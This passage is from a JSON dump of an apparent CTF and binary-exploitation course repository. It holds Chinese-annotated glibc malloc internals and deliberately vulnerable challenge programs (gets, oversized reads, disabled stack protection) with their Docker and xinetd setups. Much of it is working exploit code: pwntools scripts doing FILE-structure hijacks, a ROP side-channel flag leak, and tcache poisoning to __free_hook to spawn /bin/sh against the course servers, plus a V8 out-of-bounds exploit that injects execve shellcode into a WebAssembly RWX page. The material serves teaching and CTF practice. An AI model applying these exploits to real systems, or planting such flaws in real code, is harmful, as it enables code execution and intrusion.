tc_idx);\n\t\t    }\n\t\t} // 可以發現 fastbin chunk 會以 reverse order 放入 tcache\n          // 原本在 fastbin 的第一塊 chunk，在經過 tcache stash 後會變成\n          // 這些 fastbin chunk 中的最後一塊\n#endif\n          // 轉成回傳給使用者 mem ptr\n\t      void *p = chunk2mem (victim);\n\t      alloc_perturb (p, bytes);\n\t      return p;\n\t    }\n\t}\n    }\n\n  // ! ---------------------- 第三、smallbin ----------------------\n  // 如果 chunk 落於 smallbin 的大小當中，也就是 0x20 ~ 0x3f0\n  if (in_smallbin_range (nb))\n    {\n      idx = smallbin_index (nb); // 取得 smallbin 對應到的 index\n      bin = bin_at (av, idx); // 取得 main_arena 中對應 index 的 smallbin 位址\n\n      // last(chk) 會得到 chk->bk\n      // first(chk) 會得到 chk->fd\n      // condition 為 chk->bk != chk，而在初始化時 smallbin 會將 fd 與 bk 設為自己，\n      // 也就是這個 condition 檢查此 index 的 smallbin 是否為空\n      if ((victim = last (bin)) != bin)\n        {\n          bck = victim->bk;\n      // chk->bk->fd 應該要指向自己，才會是正常的 double linked list\n\t  if (__glibc_unlikely (bck->fd != victim))\n\t    malloc_printerr (\"malloc(): smallbin double linked list corrupted\");\n          // set 下一塊的 chunk 的 prev_inuse bit \n          set_inuse_bit_at_offset (victim, nb);\n          bin->bk = bck; // 更新 chk->bk 為該 idx 的 smallbin 的第一塊 chunk\n          bck->fd = bin; // 更新 chk->bk->fd 原先指向 chk，更新成 smallbin\n\n          if (av != &main_arena)\n\t    set_non_main_arena (victim);\n          check_malloced_chunk (av, victim, nb);\n#if USE_TCACHE\n\t  // 此機制稱 smallbin stash，與 tcache stash 相同\n    // 如果 smallbin 還有剩 chunk，就會嘗試把這些 chunk 放到 tcache 當中\n\t  size_t tc_idx = csize2tidx (nb);\n\t  if (tcache && tc_idx < mp_.tcache_bins)\n\t    {\n\t      mchunkptr tc_victim;\n\n\t      while (tcache->counts[tc_idx] < mp_.tcache_count\n\t\t     && (tc_victim = last (bin)) != bin)\n\t\t{\n\t\t  if (tc_victim != 0)\n\t\t    {\n\t\t      bck = tc_victim->bk;\n\t\t      set_inuse_bit_at_offset (tc_victim, nb);\n\t\t      if (av != &main_arena)\n\t\t\t    set_non_main_arena (tc_victim);\n\t\t      bin->bk = bck;\n\t\t      bck->fd = bin;\n\n\t\t      tcache_put (tc_victim, tc_idx);\n\t        }\n\t\t}\n\t    }\n#endif\n          // 轉成回傳給使用者 mem ptr\n          void *p = chunk2mem (victim);\n          alloc_perturb (p, bytes);\n          return p;\n        }\n    }\n  else\n    {\n      // 如果 chunk size 不在 tcache, fastbin, smallbin 的範圍\n      // trigger malloc_consolidate 的機制，減少 fragmentation 的問題\n      idx = largebin_index (nb);\n      if (atomic_load_relaxed (&av->have_fastchunks))\n        malloc_consolidate (av);\n    }\n\n#if USE_TCACHE\n  INTERNAL_SIZE_T tcache_nb = 0;\n  size_t tc_idx = csize2tidx (nb); // 取得對應大小的 tcache idx  \n  if (tcache && tc_idx < mp_.tcache_bins)\n    tcache_nb = nb;\n  int return_cached = 0;\n\n  tcache_unsorted_count = 0;\n#endif\n\n  for (;; )\n    {\n      int iters = 0;\n      // ! ---------------------- 第四、unsorted bin ----------------------\n      // 以 bk 來 traverse 所有 unsorted bin chunk\n      // 清空 unsorted bin，把 chunk 放到對應的 bin 當中\n      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))\n        {\n          bck = victim->bk; // bck 為 unsorted bin 下個 chunk\n          size = chunksize (victim); // 當前 chunk 的大小\n          mchunkptr next = chunk_at_offset (victim, size); // 下個相鄰的 chunk\n\n          // 一系列的檢查\n          if (__glibc_unlikely (size <= 2 * SIZE_SZ)\n              || __glibc_unlikely (size > av->system_mem))\n            // chunk size 是否合法\n            malloc_printerr (\"malloc(): invalid size (unsorted)\");\n          if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)\n              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))\n            // next chunk size 不合法\n            malloc_printerr (\"malloc(): invalid next size (unsorted)\");\n          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))\n            // next chunk 的 prev_size 不等於 chunk size\n            malloc_printerr (\"malloc(): mismatching next->prev_size (unsorted)\");\n          if (__glibc_unlikely (bck->fd != victim)\n              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))\n            // 當 (bck->fd (victim->bk->fd) != victim ||\n            // victim->fd 沒有指向 main_arena 中存放 unsorted bin 的位址) 時不合法\n            malloc_printerr (\"malloc(): unsorted double linked list corrupted\");\n          if (__glibc_unlikely (prev_inuse (next)))\n            // next chunk 的 prev_inuse 設起但是當前 chunk 存在於 unsorted bin (freed)\n            malloc_printerr (\"malloc(): invalid next->prev_inuse (unsorted)\");\n          \n          // 請求大小屬於 smallbin 的範圍，並且 unsorted bin 的第一個 chunk 就是 last_remainder\n          if (in_smallbin_range (nb) &&\n              bck == unsorted_chunks (av) &&\n              victim == av->last_remainder &&\n              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))\n              // 這邊加上 MINSIZE 的關係為，在從 unsorted chunk 切後，剩下的 chunk size\n              // 應該要能符合最小塊 chunk 的大小 (0x20)\n            {\n              // 切出符合大小的 chunk 後，更新 last_remainder\n              remainder_size = size - nb;\n              remainder = chunk_at_offset (victim, nb);\n              // unsortedbin 的 fd 與 bk 更新成指向 remainder\n              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;\n              av->last_remainder = remainder;\n              // remainder 的 fd 與 bk 更新成指向 unsortedbin\n              remainder->bk = remainder->fd = unsorted_chunks (av);\n              if (!in_smallbin_range (remainder_size))\n                {\n                  remainder->fd_nextsize = NULL;\n                  remainder->bk_nextsize = NULL;\n                }\n\n              set_head (victim, nb | PREV_INUSE |\n                        (av != &main_arena ? NON_MAIN_ARENA : 0));\n              set_head (remainder, remainder_size | PREV_INUSE);\n              set_foot (remainder, remainder_size);\n\n              check_malloced_chunk (av, victim, nb);\n              void *p = chunk2mem (victim);\n              alloc_perturb (p, bytes);\n              return p;\n            }\n\n          // 從 unsorted bin 當中移除 victim\n          unsorted_chunks (av)->bk = bck;\n          bck->fd = unsorted_chunks (av);\n\n          // 第一塊 chunk 的 size 剛好符合 request size\n          if (size == nb)\n          {\n            set_inuse_bit_at_offset (victim, size); // 設為 inuse\n            // 如果 tcache 還沒滿，就優先填滿 tcache\n            if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count)\n            {\n              tcache_put (victim, tc_idx);\n              return_cached = 1;\n              continue;\n            }\n            else // tcache 滿了，就直接回傳\n            {\n              check_malloced_chunk (av, victim, nb);\n              void *p = chunk2mem (victim);\n              alloc_perturb (p, bytes);\n              return p;\n            }\n          }\n\n          // 如果為 smallbin 的大小，放入 smallbin\n          if (in_smallbin_range (size))\n            {\n              victim_index = smallbin_index (size);\n              bck = bin_at (av, victim_index);\n              fwd = bck->fd;\n            }\n          else\n            {\n              // 如果為 largebin 的大小，放入 largebin\n              victim_index = largebin_index (size);\n              bck = bin_at (av, victim_index);\n              fwd = bck->fd;\n\n              // 當 largebin 不只有一個 chunk，在 insert 到 largebin 時處理排序\n              if (fwd != bck)\n                {\n                  ...\n                }\n              else\n                victim->fd_nextsize = victim->bk_nextsize = victim;\n            }\n\n          // 統一處理 smallbin 與 largebin 更新 fd, bk pointer 的操作\n          mark_bin (av, victim_index);\n          victim->bk = bck;\n          victim->fd = fwd;\n          fwd->bk = victim;\n          bck->fd = victim;\n\n          // 若在同一輪處理太多 chunk，並且在過程中有放入 chunk 到 tcache 內 (return_cached == 1)\n          // 則直接從 tcache 取得一個 chunk 回傳\n          ++tcache_unsorted_count;\n          if (return_cached\n            && mp_.tcache_unsorted_limit > 0\n            && tcache_unsorted_count > mp_.tcache_unsorted_limit)\n          {\n            return tcache_get (tc_idx);\n          }\n\n#define MAX_ITERS       10000\n          if (++iters >= MAX_ITERS) // 做太多次就 break\n            break;\n        }\n\n        // 過程中有將相同大小的 chunk 放入 tcache 的話，直接回傳一個\n        if (return_cached)\n        {\n          return tcache_get (tc_idx);\n        }\n\n      // ! ---------------------- 第五、large bin ----------------------\n      // 如果大小不屬於 smallbin 的範圍，屬於 smallbin 的已經在 \"第三、smallbin\" 處理完了\n      if (!in_smallbin_range (nb))\n        {\n          bin = bin_at (av, idx); // 取得對應 idx 的 largebin 位址\n\n          // largebin 要不為空，並且最大塊的大小要大於 request size\n          if ((victim = first (bin)) != bin\n              && (unsigned long) chunksize_nomask (victim)\n              >= (unsigned long) (nb))\n            {\n              // 省略處理 large bin 的過程\n              // 會找 best fit 的 largebin chunk 回傳給使用者\n              ...\n              check_malloced_chunk (av, victim, nb);\n              void *p = chunk2mem (victim);\n              alloc_perturb (p, bytes);\n              return p;\n            }\n        }\n\n      // 當符合 request size 的 largebin 沒有 chunk 可以用，\n      // 會開始往後面的 largebin 開始找\n      ++idx;\n      bin = bin_at (av, idx);\n      block = idx2block (idx);\n      map = av->binmap[block];\n      bit = idx2bit (idx);\n\n      // traverse all largebin\n      for (;; )\n        {\n          // 省略處理 large bin 的過程\n          ...\n          check_malloced_chunk (av, victim, nb);\n          void *p = chunk2mem (victim);\n          alloc_perturb (p, bytes);\n          return p;\n        }\n\n    // ! 當所有 bin 都沒有可以使用的 chunk，則從 top chunk 開始切\n    use_top:\n      victim = av->top;\n      size = chunksize (victim);\n\n      if (__glibc_unlikely (size > av->system_mem))\n        malloc_printerr (\"malloc(): corrupted top size\");\n\n      // 如果 top chunk 的大小滿足 request size + 0x20，就直接切並回傳\n      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))\n        {\n          remainder_size = size - nb;\n          remainder = chunk_at_offset (victim, nb);\n          av->top = remainder;\n          set_head (victim, nb | PREV_INUSE |\n                    (av != &main_arena ? NON_MAIN_ARENA : 0));\n          set_head (remainder, remainder_size | PREV_INUSE);\n\n          check_malloced_chunk (av, victim, nb);\n          void *p = chunk2mem (victim);\n          alloc_perturb (p, bytes);\n          return p;\n        }\n      // ! 請求過大\n      // 如果 top chunk 小到沒辦法切，會根據 request size，\n      // 透過 sysmalloc 擴展更大的空間後回傳給使用者\n      else\n        {\n          void *p = sysmalloc (nb, av);\n          if (p != NULL)\n            alloc_perturb (p, bytes);\n          return p;\n        }\n    }\n}"
  },
  {
    "path": "2021/week3/hw-exp/FILE_note.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./test', env={\"LD_PRELOAD\": \"/usr/src/glibc/glibc_dbg/libc.so\"}, aslr=False)\nr.sendline('1')\n\n# p *(struct _IO_FILE_plus*) 0x5555555594b0\ndef write_file(data):\n    r.sendline('2')\n    r.sendlineafter('data> ', data)\n\ndef save_file():\n    r.sendline('3')\n\n##### overwrite fd to stdout #####\ndata = b'A'*0x200\ndata += p64(0) + p64(0x1e1) # heap header\ndata += p64(0xfbad1800) + p64(0)*3 # read_*\ndata += p64(0)*3 # write_*\ndata += p64(0)*2 # buf_*\ndata += p64(0)*5 # other\ndata += b'\\x01'\n\nwrite_file(data)\nsave_file()\n\n##### partial overwrite write_base #####\ndata = b'A'*0x200\ndata += p64(0) + p64(0x1e1) # heap header\ndata += p64(0xfbad1800) + p64(0)*3 # read_*\nwrite_file(data)\nsave_file()\nr.recv(0xc2)\n\nlibc = u64(r.recv(8)) - 0x1bdf60\nbss = libc + 0x1c4f00\n_system = libc + 0x48af0\n_IO_str_jumps = libc + 0x1bdd20\ninfo(f\"libc: {hex(libc)}\")\n\n##### overwrite write_ptr to _IO_str_jump_table #####\ndata = p64(_system)*(0x200 // 8)\ndata += p64(0) + p64(0x1e1) # heap header\ndata += p64(0xfbad1800) + p64(0)*3 # read_*\ndata += p64(0) + p64(_IO_str_jumps)[:-1]\nwrite_file(data)\nsave_file()\n\n##### overwrite file vtable to _IO_str_jumps #####\ndata = b'A'*0x200\ndata += p64(0) + p64(0x1e1) # head header\ndata += p64(0x68732f6e69622f)\ndata += b'A'*0x80 \ndata += p64(bss)\ndata += b'\\xff'*0x48\ndata += p64(_IO_str_jumps)\nwrite_file(data)\ngdb.attach(r, 'set exec-wrapper env \"LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so\"')\nsave_file()\n\nr.interactive()\n\n# b _IO_new_file_xsputn\n# b _IO_new_file_overflow\n"
  },
  {
    "path": "2021/week3/lab-exp/OvO8.js",
    "content": "buf = new ArrayBuffer(0x8);\nu64 = new BigUint64Array(buf);\nf64 = new Float64Array(buf);\nu32 = new Uint32Array(buf);\n\nfunction info(str, val) {\n    console.log(`[*] ${str}: 0x${val.toString(16)}`);\n}\n\nlet oob = [1.1];\noob.length = 87;\nlet evil = [{}];\nlet leak = new BigUint64Array(1);\n\nf64[0] = oob[110];\nlet high_heap = BigInt(u32[0]);\nlet low_heap = BigInt(u32[1]);\ninfo(\"heap\", low_heap + (high_heap << 32n));\n\nfunction fakeobj(addr) {\n    u64[0] = addr;\n    oob[88] = f64[0];\n    return evil[0];\n}\n\nfunction addrof(obj) {\n    evil[0] = obj;\n    f64[0] = oob[88];\n    return BigInt(u32[0]);\n}\n\nfunction aar64(addr) {\n    backup = oob[110];\n    addr = (addr - 8n) | 1n;\n    u64[0] = (addr << 32n) | (addr >> 32n);\n    oob[110] = f64[0];\n    ret = leak[0];\n    f64[0] = backup;\n    oob[110] = f64[0];\n    return ret;\n}\n\nfunction aaw64(addr, val) {\n    backup = oob[110];\n    addr = (addr - 8n) | 1n;\n    u64[0] = (addr << 32n) | (addr >> 32n);\n    oob[110] = f64[0];\n    u64[0] = val;\n    leak[0] = u64[0];\n    f64[0] = backup;\n    oob[110] = f64[0];\n}\n\n// https://wasdk.github.io/WasmFiddle/\n// int main() {\n//   return 0x12345678;\n// }\nvar wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,248,172,209,145,1,11]);\nvar wasmModule = new WebAssembly.Module(wasmCode);\nvar wasmInstance = new WebAssembly.Instance(wasmModule);\nvar exp = wasmInstance.exports.main;\nvar wasmInstance_addr = (high_heap << 32n) + addrof(wasmInstance);\ninfo(\"wasmInstance_addr\", wasmInstance_addr);\nvar rwx_page = aar64(((high_heap << 32n) + addrof(wasmInstance)) - 1n + 0x60n);\ninfo(\"rwx_page\", rwx_page);\n\n// from pwn import *\n// context.arch = 'amd64'\n// sh = b'\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05\\x90\\x90\\x90\\x90\\x90'\n// shs = [0x9090909090909090]*4 + [u64(sh[i:i+8]) for i in range(0, len(sh), 8)]\n// print('[' + 'n, '.join(list(map(str, shs))) + 'n]')\nvar shellcode = new BigUint64Array([10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 10416984888683040912n, 10490745906121982001n, 6042695217945480400n, 12708687932510789460n, 10416984888673898299n]);\nfor (var i = 0; i < shellcode.length; i++) {\n    aaw64(rwx_page + BigInt(i)*8n + 0x4c0n, BigInt(shellcode[i]));\n}\nexp();"
  },
  {
    "path": "2022/README.md",
    "content": "## 2022 年\n\n2022 年的 Week 1 與 Week 2 教材皆相同，而 Week 3 課程大部分與 2021 年重疊。\n\n## Week 1: Binary Exploitation I\n- Hw\n  - how2know\n    1. 透過 side channel 的方式 leak 出存在於記憶體的 flag\n    2. 可以依據 byte 的比對結果來決定行為，藉此一步步 leak 出 flag\n  - rop++\n    - 裸 ROP 題\n\n## Week 2: Binary Exploitation II\n- Lab\n  - babynote\n- Hw\n  - babyums\n    - 與 lab 難度相同\n\n## Week 3: FILE Exploitation & Browser Exploitation\n- Lab\n  - aar\n  - aaw\n- Hw\n  - minumus\n    - 結合 Week 2 的知識，構造 FILE 結構做到任意讀寫，最後用 hook 攔截執行流程"
  },
  {
    "path": "2022/quals/exp/how2know_revenge_exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport string\nimport time\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nwordlist = string.printable.encode()\n\nflag_addr = 0x4de2e0\n\nrop_pop_rdx_ret = 0x40171f\nrop_pop_rdi_ret = 0x401812\nrop_pop_rax_ret = 0x458237\nrop_cmp = 0x43a02d # cmp byte ptr [rdi], dl ; ret\nrop_check = 0x401012 # je 0x401016 ; call rax\n# 0x404016 = add rsp, 8 ; ret\nrop_jmp_rax = 0x401b58\n\nflag = b''\nfor idx in range(0x20):\n    for w in wordlist:\n        #r = process(\"./chal\")\n        r = remote('edu-ctf.zoolab.org', 10012)\n        payload = flat(\n            rop_pop_rax_ret, rop_jmp_rax,\n            rop_pop_rdi_ret, flag_addr + idx,\n            rop_pop_rdx_ret, w,\n\n            rop_cmp,\n            rop_check, 0, 0xdeadbeef\n        )\n        r.sendafter('rop\\n', b'A'*0x28 + payload)\n\n        try:\n            r.recv(1, timeout=0.1)\n            r.close()\n        except EOFError:\n            flag += bytes([w])\n            del r\n            break\n\n    print(f\"current flag: {flag.decode()}\")\n\nr.interactive()\n"
  },
  {
    "path": "2022/quals/exp/pbof_exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nmmap_size = 0x1a5000\nr = remote('edu-ctf.zoolab.org', 10013)\n# r = remote('localhost', 10013)\nr.recvuntil('[Gift ')\nlibc = int(r.recvuntil(']', drop=True), 16) - 0x83970\nsystem = libc + 0x52290\n\nlibz = libc - 0x1c9000\narchive_size = 0x0\n# remote\nobject_offset = 0x29510\n# local\n# object_offset = 0x294f0 # ???\nmmap_base = libz - 0x3000 - archive_size - 0x32000 - 0x7000 - mmap_size\nobject_addr = mmap_base + object_offset\n\nprint(f\"libc: {hex(libc)}\")\nprint(f\"object_addr: {hex(object_addr)}\")\n\npayload = 0x40 * b'\\x00' + b'/bin/sh\\x00'\npayload = payload + p64(object_addr)\npayload = payload.ljust(0x188, b'\\x40')\npayload = payload + p64(system)\ninput()\nr.sendline(payload)\nr.interactive()"
  },
  {
    "path": "2022/quals/exp/real_rop++_exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n#r = process('./test', aslr=False)\nr = remote('edu-ctf.zoolab.org', 10014)\n\npayload = b'A'*0x18 + b'\\x7c'\nr.send(payload)\nr.recvuntil(b'A'*0x18)\nlibc = u64(r.recv(8)) - 0x2407c\noneshot = libc + 0xe3afe\nrop_pop_r12_r13_r14_ret = libc + 0x2601a\ninfo(f\"libc: {hex(libc)}\")\n\npayload = b'A'*0x18 + p64(rop_pop_r12_r13_r14_ret) + p64(0)\nr.send(payload)\nr.recvuntil(b'A'*0x18)\n\npayload = b'A'*0x18 + p64(oneshot)\nr.send(payload)\nr.recvuntil(b'A'*0x18)\n\nr.interactive()\n"
  },
  {
    "path": "2022/quals/exp/superums_exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\n#r = process('./chal', aslr=False)\nr = remote('edu-ctf.zoolab.org', 10015)\n\ndef add(idx):\n    r.sendlineafter('> ', '1')\n    r.sendlineafter('> ', str(idx))\n\ndef edit(idx, sz, data):\n    r.sendlineafter('> ', '2')\n    r.sendlineafter('> ', str(idx))\n    r.sendlineafter('> ', str(sz))\n    r.send(data)\n\ndef delete(idx):\n    r.sendlineafter('> ', '3')\n    r.sendlineafter('> ', str(idx))\n\ndef show():\n    r.sendlineafter('> ', '4')\n\nfor i in range(10):\n    add(i)\nfor i in range(10):\n    edit(i, 0x78, 'A')\nfor i in reversed(range(10)):\n    delete(i)\n\nadd(0)\nedit(0, 0x78, 'A')\nshow()\nr.recvuntil('[0] ')\nheap = u64(r.recv(6).ljust(8, b'\\x00')) - 0x541\ninfo(f\"heap: {hex(heap)}\")\n\nfor i in range(1, 7):\n    add(i)\nfor i in range(1, 7):\n    edit(i, 0x78, 'A')\n\nadd(7)\nadd(8)\nedit(8, 0x78, 'A')\ndelete(8)\n\nfake_chunk_off = 0x870 # at chunk 6\nedit(7, 0x8, p64(heap + fake_chunk_off))\n\nadd(8)\nadd(9)\nedit(8, 0x78, 'A') # data pointer same as chunk 7\nedit(9, 0x78, 'A') # overlap with chunk 6 data\n\nfake_chunk = flat(\n    0, 0x421\n)\nedit(6, len(fake_chunk), fake_chunk)\n# we only need chunk 6, 7 and 9\n# and need to spray fake next chunk\nl = [0,1,2,8,3,4,5]\nfor i in l:\n    delete(i)\nfor i in l:\n    add(i)\nfor i in l:\n    edit(i, 0x68, 'B')\n\nfor i in l:\n    delete(i)\nfor i in l:\n    add(i)\n\nadd(0xe)\nadd(0xf)\nedit(0xf, 0x38, 'OWO') # for padding\nfor i in l:\n    edit(i, 0x58, b'\\x00' * 0x18 + p64(0x21) + b'\\x00'*0x18 + p64(0x21))\n\ndelete(9)\nedit(0xe, 0x48, 'A')\nshow()\nr.recvuntil('[14] ')\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x1ecf41\nsystem = libc + 0x52290\n__free_hook = libc + 0x1eee48\ninfo(f\"libc: {hex(libc)}\")\nadd(0xd)\nedit(0xd, 0x48, 'A')\ndelete(0xd)\ndelete(0xe)\n\nfake_chunk = flat(\n    0, 0x51,\n    __free_hook - 0x8\n)\nedit(6, len(fake_chunk), fake_chunk)\nadd(0xd)\nadd(0xe)\nedit(0xd, 0x48, 'A')\nedit(0xe, 0x48, b'/bin/sh\\x00' + p64(system))\ndelete(0xe)\n\nr.interactive()\n"
  },
  {
    "path": "2022/quals/how2know_revenge/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/quals/how2know_revenge/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10012:10001\""
  },
  {
    "path": "2022/quals/how2know_revenge/share/Makefile",
    "content": "all:\n\tgcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp"
  },
  {
    "path": "2022/quals/how2know_revenge/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/quals/how2know_revenge/share/how2know_revenge.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <seccomp.h>\n#include <sys/mman.h>\n#include <stdlib.h>\n\nstatic char flag[0x30];\n\nint main()\n{\n    char addr[0x10];\n    int fd;\n    scmp_filter_ctx ctx;\n\n    fd = open(\"/home/chal/flag\", O_RDONLY);\n    if (fd == -1)\n        perror(\"open\"), exit(1);\n    read(fd, flag, 0x30);\n    close(fd);\n\n    write(1, \"talk is cheap, show me the rop\\n\", 31);\n    read(0, addr, 0x1000);\n\n    ctx = seccomp_init(SCMP_ACT_KILL);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\n    seccomp_load(ctx);\n    seccomp_release(ctx);\n\n    return 0;\n}\n"
  },
  {
    "path": "2022/quals/how2know_revenge/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/quals/how2know_revenge/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/quals/pbof/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    echo 'debconf debconf/frontend select Noninteractive' | debconf-set-selections && \\\n    apt-get install -qy xinetd python3 gdb\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]\n"
  },
  {
    "path": "2022/quals/pbof/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10013:10001\"\n    privileged: true\n"
  },
  {
    "path": "2022/quals/pbof/share/chal",
    "content": "#!/usr/bin/env python3\n\nfrom ctypes import *\n\nlibc = cdll.LoadLibrary(\"/lib/x86_64-linux-gnu/libc.so.6\")\n\n# setup\nstdin = c_void_p.in_dll(libc, 'stdin')\nstdout = c_void_p.in_dll(libc, 'stdout')\nstderr = c_void_p.in_dll(libc, 'stderr')\nsetvbuf = libc.setvbuf\nsetvbuf(stdin, None, 2, 0)\nsetvbuf(stdout, None, 2, 0)\nsetvbuf(stderr, None, 2, 0)\n\ngets = libc.gets\nprintf = libc.printf\nname = create_string_buffer(0x20)\n\nprintf(b\"[Gift %p]\\n\", gets)\nprintf(b\"What's your name ?\")\ngets(name)\nprintf(b\"Hello %s\", name)\n\n"
  },
  {
    "path": "2022/quals/pbof/share/exp.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = remote('localhost', 10013)\n\ninput()\n#r.sendlineafter(\"What's your name ?\", b';'*0x28 + p64(0x8f7298))\nr.sendlineafter(b\"What's your name ?\",b'A'*0x20 + b'/bin/sh;'  + p64(0x8f72a8))\n#r.sendlineafter(b\"What's your name ?\",b'A'*0x20 + b'.bin/sh;' + b'\\xff')\nr.interactive()\n"
  },
  {
    "path": "2022/quals/pbof/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/quals/pbof/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\n/home/chal/chal\n"
  },
  {
    "path": "2022/quals/pbof/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}\n"
  },
  {
    "path": "2022/quals/real_rop/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/quals/real_rop/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10014:10001\""
  },
  {
    "path": "2022/quals/real_rop/share/Makefile",
    "content": "all:\n\tgcc -fno-stack-protector -o chal real_rop++.c"
  },
  {
    "path": "2022/quals/real_rop/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/quals/real_rop/share/real_rop++.c",
    "content": "#include <unistd.h>\n\nint main()\n{\n    char buf[0x10];\n\n    read(0, buf, 0x30);\n    write(1, buf, 0x30);\n    \n    return 0;\n}"
  },
  {
    "path": "2022/quals/real_rop/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/quals/real_rop/xinetd",
    "content": "service chal\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/chal/run.sh\n    user = chal\n    port = 10001\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2022/quals/superums/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m chal\nRUN chown -R root:root /home/chal\nRUN chmod -R 755 /home/chal\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2022/quals/superums/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  chal:\n    build: ./\n    volumes:\n      - ./share:/home/chal:ro\n      - ./xinetd:/etc/xinetd.d/chal:ro\n    ports:\n      - \"10015:10001\""
  },
  {
    "path": "2022/quals/superums/share/Makefile",
    "content": "all:\n\tgcc -o chal superums.c"
  },
  {
    "path": "2022/quals/superums/share/flag",
    "content": "FLAG{test}\n"
  },
  {
    "path": "2022/quals/superums/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/chal/chal"
  },
  {
    "path": "2022/quals/superums/share/superums.c",
